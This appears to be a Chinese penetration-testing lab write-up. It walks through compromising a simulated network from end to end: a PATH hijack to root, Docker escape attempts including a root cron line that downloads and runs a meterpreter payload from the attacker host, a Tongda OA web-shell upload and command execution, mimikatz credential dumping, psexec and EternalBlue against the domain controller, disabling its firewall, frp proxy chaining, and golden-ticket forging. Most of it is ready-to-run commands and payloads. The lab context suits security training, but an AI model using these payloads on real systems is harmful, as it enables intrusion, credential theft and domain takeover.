1 2 3 4 5 6 7 8 cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序 cd /home/jobs ./shell # 然后就获得了root权限,可以执行命令了
docker逃逸 Docker runC漏洞逃逸 该漏洞(CVE-2019-5736)是2019年爆出的。在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,其允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
利用该漏洞需要满足以下两个条件之一:
由一个攻击者控制的恶意镜像创建
攻击者具有某已存在容器的写权限,且可通过docker exec进入
首先下载攻击脚本: https://github.com/Frichetten/CVE-2019-5736-PoC
1 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go 送镜像里,然后升root运行重启
镜像干坏了,换个方法
Docker 特权模式逃逸cron 使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
首先使用metasploit的web_delivery模块生成payload命令:
1 2 3 4 5 6 use exploit/multi/script/web_delivery set target 7 set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.129 set lport 225 exploit
将生成的码写入计划任务,执行后去
1 echo '* * * * * wget -qO 6Qmvr849 --no-check-certificate http://192.168.1.129:8080/MUDGZd; chmod +x 6Qmvr849; ./6Qmvr849& disown' >> /tet/var/spool/cron/crontabs/root
1 echo > /tet/var/spool/cron/crontabs/root
计划任务不好使
1 2 3 4 5 systemctl status cron sudo apt update sudo apt install cron sudo service cron start 看系统日志journalctl -xe
理论可行,实践不行
docker磁盘挂载ssh连接 内网2层 拿web1
主机存活探测+扫端口
防火墙属性,专用配置文件的入站改为允许就可以了,就能在kali上访问52网段了,详细见红日1
win1存在未授权文件上传和文件包含
做个代理,成功证明如下↓
通达oa通达oa远程命令执行:影响的版本有:V11版,2017版,2016版,2015版,2013增强版,2013版。
1 https://blog.csdn.net/szgyunyun/article/details/107104288
先上传码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 POST /ispirit/im/upload.php HTTP/1.1 Host: 49.233.3.2:8888 Content-Length: 658 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE" 2 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P" 123 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID" 1 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> ------WebKitFormBoundarypyfBh1YB4pV8McGB--
再执行
1 2 3 4 5 6 7 8 9 10 POST /ispirit/interface/gateway.php HTTP/1.1 Host: 49.233.3.2:8888 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.21.0 Content-Length: 69 Content-Type: application/x-www-form-urlencoded json={"url":"/general/../../attach/im/2007/422124454.jpg"}&cmd=whoami
打域控 内网主机存活探测
msf路由转发
1 2 run autoroute -s 192.168.52.0/24 run autoroute -p
主机扫描
1 2 3 4 use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.52.0-255 set threads 5 run
端口扫描
1 nmap -sS -p 1-65535 192.168.183.130
域内成员检测
1 2 3 4 5 6 7 shell 进入shell chcp 65001 消除乱码 net view /domain 查看当前存在几个域 net view /domain:WHOAMIANONY 查看域内所有计算机 ipconfig /all 网卡信息 net group "Domain Controllers" 查找域控制器组 ping 域名得IP
mimikatz 1 2 3 4 migrate [pid] //要lsass.exe的 load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords
路由添加+打域控 路由添加 在meterpreter添加
1 2 3 4 5 6 7 8 9 10 11 12 run autoroute -s 192.168.93.0/24 meterpreter > run get_local_subnets //获取当前机器的所有网段信息 meterpreter > run autoroute -s 192.168.0.0/24 //添加目标内网0网段的路由,CIDR格式添加 meterpreter > run autoroute -s 192.168.0.0 -n 255.255.255.0 //同样可以自行指定子网掩码进行添加 meterpreter > run autoroute -p //打印当前添加的路由表信息 meterpreter > background meterpreter > run autoroute -d -s 192.168.0.0/24 //删除指定的路由
查看
法一 直接拿msf一把索
用上边mimikatz的账号密码登录域控
1 2 3 4 5 6 7 use exploit/windows/smb/psexec set rhosts 192.168.93.30 set SMBDomain WHOAMIANONY set SMBPass Whoami2021 set SMBUser Administrator set payload windows/meterpreter/bind_tcp run
域内成员可以不挂代理直接打域控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #接管域控 net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator" #关闭域控防火墙 sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.30 start unablefirewall 登录域控 关闭防火墙 返回meterpreter添加两条路由: run autoroute -s 192.168.52.0/24 run autoroute -s 192.168.93.0/24 添加路由 然后使用psexec模块直接登录 use exploit/windows/smb/psexec set rhosts 192.168.93.30 set SMBDomain WHOAMIANONY set SMBPass Whoami2021 set SMBUser Administrator set payload windows/meterpreter/bind_tcp run
pc2这么直接永恒之蓝打
1 2 3 4 5 exploit/windows/smb/ms17_010_eternalblue setg Proxies socks5:192.168.0.110:6000 设置全局代理 set payload windows/x64/meterpreter/bind_tcp set rhosts 192.168.93.40 run
法二 挂二级代理
①kali
frps.ini
1 2 3 [common] bind_addr = 0.0.0.0 bind_port = 7000
②web1-ubuntu
1)frpc2.ini
1 2 3 4 5 6 7 8 [common] server_addr = 192.168.1.129 server_port = 7000 [http_proxy] type = tcp local_ip = 192.168.52.10 local_port = 1080 remote_port = 1080
2)frps2.ini
1 2 3 [common] bind_addr = 192.168.52.10 bind_port = 7000
③pc1-win7
frpc.ini
1 2 3 4 5 6 7 [common] server_addr = 192.168.52.10 server_port = 7000 [http_proxy] type = tcp remote_port = 1080 plugin = socks5
1 Start-Process ./frpc.exe -ArgumentList -c ./frpc3.ini
黄金票据 下边是拿下4台主机的session,然后开始黄金票据
制作黄金票据只能用Administrator权限,不能用system权限
在dc机子上
降权,先去更改该进程迁移到64位的进程上 ,再load kiwi去列出凭证获取hex,不然容易权限不足,再列出token降权
1 2 3 4 5 6 load incognito 加载模块 list_tokens -u 列出所有token impersonate_token "WHOAMIANONY\Administrator" 模拟token
1 2 3 4 5 6 7 shell whoami /all 制作票据的SID:S-1-5-21-1315137663-3706837544-1429009142 用户SID load kiwi creds_all 列出所有凭据(需要system权限,不列出也可以直接下一步) kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt" 获取用户hash
制作票据
1 2 3 4 5 6 golden_ticket_create -d whoamianony.org -k 6be58bfcc0a164af2408d1d3bd313c2a -u hr7 -s S-1-5-21-1315137663-3706837544-1429009142 -t /home/kali/Desktop/hr7.ticket -d 域名 -k krbtgt账户的密码hash值 -u 任意的用户名 -t 将生成的票据保存在kali中,文件名字以及后缀可以随意 -s 用户SID
测试能否使用,用的pc2
1 2 3 4 5 load kiwi kerberos_ticket_use /home/kali/Desktop/hr7.ticket //使用票据 shell dir \\dc\c$
参考文章 1 https://www.freebuf.com/vuls/280508.html
1 https://www.freebuf.com/articles/network/264560.html
1 https://blog.csdn.net/2301_79698171/article/details/144508445
1 https://blog.csdn.net/weixin_62334252/article/details/125384701
通达oa↓
1 https://blog.csdn.net/szgyunyun/article/details/107104288
进程迁移+kiwi↓
1 https://blog.csdn.net/weixin_45588247/article/details/119497964
msf自带的route模块穿透↓
1 https://pingmaoer.github.io/2020/05/09/%E5%88%A9%E7%94%A8msf%E8%87%AA%E5%B8%A6%E7%9A%84route%E6%A8%A1%E5%9D%97%E7%A9%BF%E9%80%8F%E7%9B%AE%E6%A0%87%E5%86%85%E7%BD%91/